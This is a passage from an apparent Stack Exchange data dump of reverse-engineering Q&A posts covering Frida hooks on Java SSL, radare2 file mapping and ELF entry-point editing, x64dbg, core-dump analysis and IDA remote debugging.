noreferrer&quot;&gt;This Oracle resource&lt;/a&gt; hints of a DLL named &quot;njssl8.dll&quot; being used as a back-end for the Java SSL functionality on Windows, but &lt;code&gt;frida-trace&lt;/code&gt; does not detect any modules containing the substring &quot;ssl&quot; at all when running with option &lt;code&gt;-I &quot;*ssl*&quot;&lt;/code&gt; on my test target &lt;a href=&quot;https://portswigger.net/burp/communitydownload&quot; rel=&quot;nofollow noreferrer&quot;&gt;Burp Suite Community Edition&lt;/a&gt; (which I used because I had it handy and because it is very fitting for these kinds of tests).&lt;/p&gt;&#xA;" OwnerUserId="26429" LastEditorUserId="26429" LastEditDate="2018-11-18T00:52:57.007" LastActivityDate="2022-01-03T06:01:20.137" Title="What functions (in which modules) can be hooked by Frida to access unencrypted data of SSL connections in Java programs running under Windows?" Tags="|java|sniffing|hooking|frida|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19910" PostTypeId="2" ParentId="19909" CreationDate="2018-11-18T08:50:54.493" Score="-2" Body="&lt;p&gt;You have to make a windows driver that will proxy the data on the SSL port. windows filtering platform can do it with a callout driver. You have to use openssl to do all of the SSL handshake steps, and send encrypted data yourself to the destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/network/windows-filtering-platform-callout-drivers2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows-hardware/drivers/network/windows-filtering-platform-callout-drivers2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you may can hook into the openssl functions.&lt;/p&gt;&#xA;" OwnerUserId="26381" LastActivityDate="2018-11-18T08:50:54.493" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19911" PostTypeId="2" ParentId="19882" CreationDate="2018-11-18T14:59:27.677" Score="0" Body="&lt;p&gt;Just to update @Megabeets answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you start with an empty file (created by &lt;code&gt;touch&lt;/code&gt;), the &lt;code&gt;w&lt;/code&gt; command will not work by default even if the &lt;code&gt;r2&lt;/code&gt; will be started in &lt;code&gt;write&lt;/code&gt; mode. The missing information is, in that case, the mapping&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; om&#xA;[0x00000000]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Returns an empty result. Apart from listing, the &lt;code&gt;om&lt;/code&gt; command can also be used to create the mapping:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Usage: om[-] [arg]   # map opened files&#xA;| om                                       list all defined IO maps&#xA;...&#xA;| om fd vaddr [size] [paddr] [rwx] [name]  create new io map&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to do the mapping, one needs to specify (for example) the following command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; om 3 0x0 12&#xA;[0x00000000]&amp;gt; om&#xA; 1 fd: 3 +0x00000000 0x00000000 - 0x0000000b rwx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will create, for the file description 3, a 12 bytes in size mapping starting from an address 0x0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that &lt;code&gt;w&lt;/code&gt; will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; w Hello world!&#xA;[0x00000000]&amp;gt; px 32&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000000  4865 6c6c 6f20 776f 726c 6421 ffff ffff  Hello world!....&#xA;0x00000010  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;[0x00000000]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-11-18T14:59:27.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19913" PostTypeId="1" AcceptedAnswerId="19915" CreationDate="2018-11-18T16:45:07.120" Score="1" ViewCount="1807" Body="&lt;p&gt;Is it possible, to run whichever line I want? &#xA;For example, if it is at black position, and i want to run the RED CIRCLED command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aOhtf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aOhtf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find a way to do that, neither in right click or etc... Just want to select that line and do i.e. &quot;RUN THIS LINE&quot;&lt;/p&gt;&#xA;" OwnerUserId="10008" LastActivityDate="2018-11-18T17:46:01.870" Title="Run any line/command in x64dbg" Tags="|debugging|x64dbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19914" PostTypeId="2" ParentId="19907" CreationDate="2018-11-18T17:33:38.697" Score="3" Body="&lt;p&gt;&lt;em&gt;OP did not mention their OS, thus I assume the OS is Linux.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;radare2 is using the default &lt;code&gt;python&lt;/code&gt; version on your machine. That means that, probably, &lt;code&gt;/usr/bin/python&lt;/code&gt; on your machine points to &lt;code&gt;/usr/bin/python2.7&lt;/code&gt;. You can check it by executing &lt;code&gt;readlink&lt;/code&gt; on the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readlink -f /usr/bin/python&#xA;/usr/bin/python2.7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The solution for this should be quite straightforward. Simply, changing where &lt;code&gt;python&lt;/code&gt; points to should do the trick. You can do this by executing &lt;code&gt;ln&lt;/code&gt; and point &lt;code&gt;python&lt;/code&gt; to &lt;code&gt;python3&lt;/code&gt; on your machine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ln -sf /usr/bin/python3 /usr/bin/python&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Demo Time&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Imagine the following Python script which simply prints the version of Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat demo.py&#xA;import platform&#xA;print(platform.python_version())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is script is compatible with both Python2 and Python3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's try to execute radare2 with this initialization script, without changing the symlink of &lt;code&gt;/usr/bin/python&lt;/code&gt;. i.e. &lt;code&gt;python&lt;/code&gt; would point to python2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readlink -f /usr/bin/python&#xA;/usr/bin/python2.7&#xA;&#xA;$ r2 -q -i demo.py -&#xA;2.7.12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, radare2 executed the init script and printed &quot;2.7.12&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's modify the symlink to point to &lt;code&gt;python3&lt;/code&gt; and test the script again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ln -sf /usr/bin/python3 /usr/bin/python&#xA;&#xA;$ readlink -f /usr/bin/python&#xA;/usr/bin/python3.5&#xA;&#xA;$ r2 -q -i demo.py -&#xA;3.5.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you requested, now &lt;code&gt;python3&lt;/code&gt; was executed instead of &lt;code&gt;python2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want &lt;code&gt;python&lt;/code&gt; to point to &lt;code&gt;python2&lt;/code&gt;, you can revert it back using the same command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ln -sf /usr/bin/python2.7 /usr/bin/python&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-11-18T17:33:38.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19915" PostTypeId="2" ParentId="19913" CreationDate="2018-11-18T17:46:01.870" Score="3" Body="&lt;p&gt;You can use the &lt;em&gt;Set New Origin Here&lt;/em&gt; option in the context menu of the disassembly view to change EIP/RIP to the selected line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPwqF.png&quot; alt=&quot;context menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In x64dbg commands this option can be expressed as: &lt;code&gt;cip = dis.sel()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-11-18T17:46:01.870" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19916" PostTypeId="1" CreationDate="2018-11-18T18:05:23.997" Score="1" ViewCount="470" Body="&lt;p&gt;let's say, I am debugging (with x64dbg) a specific program (in Windows, native programs, probably they are called standard MFC-kind programs ):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XpOFK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XpOFK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that program has a button &lt;code&gt;xyz&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K1wVY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K1wVY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) how to find out which line/command is executed by clicking on that button?  &lt;br/&gt; 2) if that's possible to know that line before I click that button, it would be excellent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like a small &quot;how-to&quot; or steps what to do to get that.&lt;/p&gt;&#xA;" OwnerUserId="10008" LastEditorUserId="10008" LastEditDate="2018-11-20T10:28:40.990" LastActivityDate="2018-11-20T10:28:40.990" Title="How to find which event is bound to which GUI part" Tags="|debugging|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19917" PostTypeId="2" ParentId="19828" CreationDate="2018-11-18T19:26:43.687" Score="0" Body="&lt;p&gt;Thanks, @0xC0000022L and @Paweł Łukasik.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the answer, as you guys pointed out that, registers are on CPU and not in the stack. Which states that it is usually stored in memory and not on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was a doubt and I am glad that I got a clarification. Thus would like to post it as an answer.&lt;/p&gt;&#xA;" OwnerUserId="25681" LastActivityDate="2018-11-18T19:26:43.687" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19918" PostTypeId="1" CreationDate="2018-11-19T00:20:02.847" Score="1" ViewCount="2434" Body="&lt;p&gt;I have a Linux Core Dump file for a binary (which apparently crashed during execution)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;file&lt;/code&gt; command on the core dump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;core.123: ELF 64-bit LSB  core file x86-64, version 1 (SYSV), SVR4-style, from '/home/user/a.out'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the binary, &lt;code&gt;a.out&lt;/code&gt;, as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I analyse the crash in more details with this information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I loaded the core using GDB using the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb -c core&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can look at the backtrace of the stack using the &lt;code&gt;bt&lt;/code&gt; command. And I can see that the program crashed due to: &lt;code&gt;SIGTRAP&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Core was generated by `/home/user/a.out'.&#xA;Program terminated with signal SIGTRAP, Trace/breakpoint trap.&#xA;#0  0x0000000000400566 in ?? ()&#xA;(gdb) bt&#xA;#0  0x0000000000400566 in ?? ()&#xA;#1  0x00007ffff7a3b1bb in ?? ()&#xA;#2  0x0000000000000000 in ?? ()&#xA;(gdb) x/i 0x0000000000400566&#xA;=&amp;gt; 0x400566:    retq   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'd like to get more detailed information about the root cause of the crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does IDA Pro support analysis of core dump files? If I have the original binary, can I do something to debug it in details?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer IDA Pro with remote debugging support in this case. However, if there's a way to do using GDB efficiently here, that's okay as well.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="245" LastEditDate="2018-11-19T08:31:58.187" LastActivityDate="2018-11-19T08:31:58.187" Title="Reverse Engineering Linux Core Dump" Tags="|ida|linux|gdb|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19919" PostTypeId="2" ParentId="19904" CreationDate="2018-11-19T12:31:01.437" Score="-1" Body="&lt;p&gt;Just enable special pool on all 3 drivers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;verifier.exe /flags 0x1 /driver win32k.sys /driver win32kbase.sys /driver win32kfull.sys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26370" LastEditorUserId="245" LastEditDate="2018-11-20T09:29:18.933" LastActivityDate="2018-11-20T09:29:18.933" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19921" PostTypeId="1" AcceptedAnswerId="19924" CreationDate="2018-11-19T22:06:00.083" Score="7" ViewCount="2783" Body="&lt;p&gt;Reading &lt;a href=&quot;https://blog.k3170makan.com/2018/09/introduction-to-elf-format-elf-header.html&quot; rel=&quot;noreferrer&quot;&gt;Keith Makan's, &lt;em&gt;&quot;Introduction to the ELF Format : The ELF Header&quot;&lt;/em&gt;&lt;/a&gt;, he modifies &lt;code&gt;e_entry&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;code&gt;e_entry&lt;/code&gt; field lists the offset in the file where the program should start executing.Normally it points to your _start method (of course if you compiled it with the usual stuff). You can point the e_entry anywhere you like, as an example I'm going to show that you can call a function that would other wise be impossible under normal execution.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also documented in &lt;a href=&quot;https://linux.die.net/man/5/elf&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;man 5 elf&lt;/code&gt;&lt;/a&gt;, I'm wondering if Radare has any functionality to rewrite ELF-specific headers or if writing the bits manually is the current way to do this? For example, I know it'll show the entry point with &lt;code&gt;ie&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="245" LastEditDate="2018-11-19T22:14:16.130" LastActivityDate="2018-11-21T06:34:21.410" Title="Writing ELF headers in Radare?" Tags="|radare2|elf|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19922" PostTypeId="1" CreationDate="2018-11-19T23:08:55.593" Score="-1" ViewCount="434" Body="&lt;p&gt;I would like to reverse a file so of an apk using idapro (on windows) and gdbserver(on remote target device) . I arrived until the attach of the running process. But after? Is there a tutorial explaining the procedure? Which commands accepts idapro gdb monitor? Thank you&lt;/p&gt;&#xA;" OwnerUserId="26292" LastEditorUserId="26292" LastEditDate="2018-11-20T05:47:22.220" LastActivityDate="2018-11-20T08:23:08.990" Title="Gdbserver and idapro" Tags="|ida|android|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19923" PostTypeId="2" ParentId="19921" CreationDate="2018-11-19T23:36:41.060" Score="2" Body="&lt;p&gt;&lt;em&gt;I don't think this feature is supported according to the &lt;a href=&quot;https://github.com/radare/radare2/search?q=%22e_entry%22&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code&lt;/a&gt;.&lt;/em&gt;&#xA;Edit: I was wrong, sorry about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you really need a library/tool to do that, I recommend &lt;a href=&quot;https://github.com/lief-project/LIEF&quot; rel=&quot;nofollow noreferrer&quot;&gt;LIEF&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastEditorUserId="26176" LastEditDate="2018-11-20T19:43:16.140" LastActivityDate="2018-11-20T19:43:16.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19924" PostTypeId="2" ParentId="19921" CreationDate="2018-11-20T07:36:58.373" Score="15" Body="&lt;p&gt;Yes, obviously you can. radare2 has built-in features to handle binary headers. This including reading, parsing and modifying the headers of the binary. And this is not different for &lt;code&gt;elf&lt;/code&gt; or &lt;code&gt;pe&lt;/code&gt; files, it will work great with both.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;TL;DR&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./example.elf&#xA;[*] you ran this binary!&#xA;&#xA;$ r2 -w -nn example.elf&#xA;[0x00000000]&amp;gt; .pf.elf_header.entry=0x0000063a&#xA;[0x00000000]&amp;gt; q&#xA;&#xA;$ ./example.elf&#xA;[*] wow how did you manage to call this?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Creating our test file&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As described in the article you linked in your question, it is easy to create a binary with a function that should never be executed under regular circumstances. Here's the exact code that was used in the linked article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat example.c&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;&#xA;void never_call (void) {&#xA;    printf (&quot;[*] wow how did you manage to call this?\n&quot;);&#xA;    return;&#xA;}&#xA;&#xA;int main (int argc, char **argv) {&#xA;    printf (&quot;[*] you ran this binary!\n&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the function &lt;code&gt;never_call&lt;/code&gt; would, well... never be called. The program would execute the entrypoint which would execute the &lt;code&gt;main&lt;/code&gt; function and will return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's compile it using the command line used in the article, and execute the program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -Wall -o example.elf example.c&#xA;$ ./example.elf&#xA;[*] you ran this binary!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we said, only &lt;code&gt;main()&lt;/code&gt; was executed. Now let's open the binary in radare2 to see the magic happens.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;radare2 time!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Finding the address of the function&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you requested, we want to modify the entry point of the binary by modifying the pointed address in the elf header to be our &lt;code&gt;never_call&lt;/code&gt; function. So first, we need to find the address of &lt;code&gt;never_call&lt;/code&gt; in the binary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 example.elf&#xA;[0x00000530]&amp;gt; f~never_call&#xA;0x0000063a 19 sym.never_call&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can see that the function &lt;code&gt;never_call&lt;/code&gt; is at address &lt;em&gt;0x0000063a&lt;/em&gt;. As you probably know by now, the &lt;code&gt;f&lt;/code&gt; command is used to list the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/basic_commands/flags.html&quot; rel=&quot;noreferrer&quot;&gt;flags&lt;/a&gt; that was marked by radare2, this including symbols as functions names. Then, we used &lt;code&gt;~&lt;/code&gt; which is r2's internal &lt;em&gt;grep&lt;/em&gt; and grepped for the relevant function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Parsing the ELF Header&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we need to seek to address &lt;code&gt;0&lt;/code&gt; using &lt;code&gt;s 0&lt;/code&gt; and then and only then we can parse the header with a new command &lt;code&gt;pf&lt;/code&gt;. The command &lt;code&gt;pf&lt;/code&gt; is used to print formatted data such as structures, enums, and types. Let's load the format definition for &lt;code&gt;elf64&lt;/code&gt; using &lt;code&gt;pfo elf64&lt;/code&gt; and use the &lt;code&gt;pf.&lt;/code&gt; command to list the format definitions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00002400]&amp;gt; s 0        # Seek to pos 0 in the binary&#xA;&#xA;[0x00000000]&amp;gt; pfo elf64  # Load a Format Definition File for elf&#xA;&#xA;[0x00000000]&amp;gt; pf.&#xA;pf.elf_header [16]z[2]E[2]Exqqqxwwwwww ident (elf_type)type (elf_machine)machine version entry phoff shoff flags ehsize phentsize phnum shentsize shnum shstrndx&#xA;&#xA;pf.elf_phdr [4]E[4]Eqqqqqq (elf_p_type)type (elf_p_flags)flags offset vaddr paddr filesz memsz align&#xA;&#xA;pf.elf_shdr x[4]E[8]Eqqqxxqq name (elf_s_type)type (elf_s_flags_64)flags addr offset size link info addralign entsize&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One of the loaded definitions is the &lt;code&gt;elf_header&lt;/code&gt; which holds the structure for the elf64 header. We can print the header like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pf.elf_header&#xA;     ident : 0x00000000 = .ELF...&#xA;      type : 0x00000010 = type (enum elf_type) = 0x3 ; ET_DYN&#xA;   machine : 0x00000012 = machine (enum elf_machine) = 0x3e ; EM_AMD64&#xA;   version : 0x00000014 = 0x00000001&#xA;     entry : 0x00000018 = (qword)0x0000000000000530&#xA;     phoff : 0x00000020 = (qword)0x0000000000000040&#xA;     shoff : 0x00000028 = (qword)0x0000000000001948&#xA;     flags : 0x00000030 = 0x00000000&#xA;    ehsize : 0x00000034 = 0x0040&#xA; phentsize : 0x00000036 = 0x0038&#xA;     phnum : 0x00000038 = 0x0009&#xA; shentsize : 0x0000003a = 0x0040&#xA;     shnum : 0x0000003c = 0x001d&#xA;  shstrndx : 0x0000003e = 0x001c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, radare2 printed the elf64 header in a readable format so now we can see that &lt;code&gt;entry&lt;/code&gt;, at 0x18, points to &lt;code&gt;0x530&lt;/code&gt; which is our original entrypoint function. We can verify it by using &lt;code&gt;ie&lt;/code&gt;, a radare2 command to print the entrypooint:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; ie&#xA;[Entrypoints]&#xA;vaddr=0x00000530 paddr=0x00000530 baddr=0x00000000 laddr=0x00000000 haddr=0x00000018 hvaddr=0x00000018 type=program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Indeed, you can see that the entry point is 0x530 and the &lt;code&gt;haddr&lt;/code&gt;, which is the header address, is 0x18.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Modifying the entry point&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to modify this entry, we would need to open the file in writing mode. We can simply execute &lt;code&gt;oo+&lt;/code&gt; from our current session in order to re-open the file in write mode, or use the &lt;code&gt;-w&lt;/code&gt; argument to &lt;code&gt;radare2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, we can simply use the &lt;code&gt;pf&lt;/code&gt; command to write to the parsed structure the address of &lt;code&gt;never_call&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; oo+&#xA;[0x00000000]&amp;gt; pf.elf_header.entry=0x0000063a&#xA;wv8 0x0000063a @ 0x00000018&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This printed us a radare2 command to execute which will modify this address in the header. We can either execute it ourselves or use the &lt;code&gt;.&lt;/code&gt; command to &quot;interpret the output of the command as r2 commands&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of executing &lt;code&gt;wv8 ...&lt;/code&gt;, we will simply do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; .pf.elf_header.entry=0x0000063a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now &lt;code&gt;entry&lt;/code&gt; should be overridden with 0x63a which is our &lt;code&gt;never_call&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pf.elf_header&#xA;     ident : 0x00000000 = .ELF...&#xA;      type : 0x00000010 = type (enum elf_type) = 0x3 ; ET_DYN&#xA;   machine : 0x00000012 = machine (enum elf_machine) = 0x3e ; EM_AMD64&#xA;   version : 0x00000014 = 0x00000001&#xA;     entry : 0x00000018 = (qword)0x000000000000063a&#xA;     phoff : 0x00000020 = (qword)0x0000000000000040&#xA;     shoff : 0x00000028 = (qword)0x0000000000001948&#xA;     flags : 0x00000030 = 0x00000000&#xA;    ehsize : 0x00000034 = 0x0040&#xA; phentsize : 0x00000036 = 0x0038&#xA;     phnum : 0x00000038 = 0x0009&#xA; shentsize : 0x0000003a = 0x0040&#xA;     shnum : 0x0000003c = 0x001d&#xA;  shstrndx : 0x0000003e = 0x001c&#xA;&#xA;[0x00000000]&amp;gt; pf.elf_header.entry&#xA;     entry : 0x00000018 = (qword)0x000000000000063a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Executing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great! We can now exit radare and execute the program.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./example.elf&#xA;[*] wow how did you manage to call this?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Last words&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This long answer explained every step in the way but can really be narrowed to a simple command &lt;code&gt;.pf.elf_header.entry=0x0000063a&lt;/code&gt; which sets the &lt;code&gt;entry&lt;/code&gt; in the elf header to be the desired address. In the &lt;strong&gt;TL;DR&lt;/strong&gt; version I demonstrated the use of &lt;code&gt;-w&lt;/code&gt; to open the binary in &lt;code&gt;write-mode&lt;/code&gt; and the use of &lt;code&gt;-nn&lt;/code&gt; to load the binary structure (&lt;code&gt;pfo elf64&lt;/code&gt;, etc...). So simply, opening radare2 like this &lt;code&gt;r2 -w -nn example.elf&lt;/code&gt; and executing &lt;code&gt;.pf.elf_header.entry=&amp;lt;address&amp;gt;&lt;/code&gt; would solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't be afraid to ask how to do things in radare2. Although it is quite a scary framework, it is really powerful and with proper knowledge, can do much more things than seems like at first.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Read more&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;radare.today | &lt;a href=&quot;http://radare.today/posts/parsing-a-fileformat-with-radare2/&quot; rel=&quot;noreferrer&quot;&gt;Parsing a fileformat with radare2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;r2book | &lt;a href=&quot;https://radare.gitbooks.io/radare2book/analysis/types.html&quot; rel=&quot;noreferrer&quot;&gt;Types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="22669" LastEditDate="2018-11-21T06:34:21.410" LastActivityDate="2018-11-21T06:34:21.410" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19925" PostTypeId="2" ParentId="19922" CreationDate="2018-11-20T08:23:08.990" Score="1" Body="&lt;p&gt;You don't need any gdb command for debugging. After IDA attached to the remote gdb server, the running process will be stopped at some random position. If you know where you want to stop, follow the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go to this position (by pressing G), &lt;/li&gt;&#xA;&lt;li&gt;set a breakpoint and &lt;/li&gt;&#xA;&lt;li&gt;continue the execution. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After a while your process will stop at the breakpoint, if you place the breakpoint in an address, which will be executed.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2018-11-20T08:23:08.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
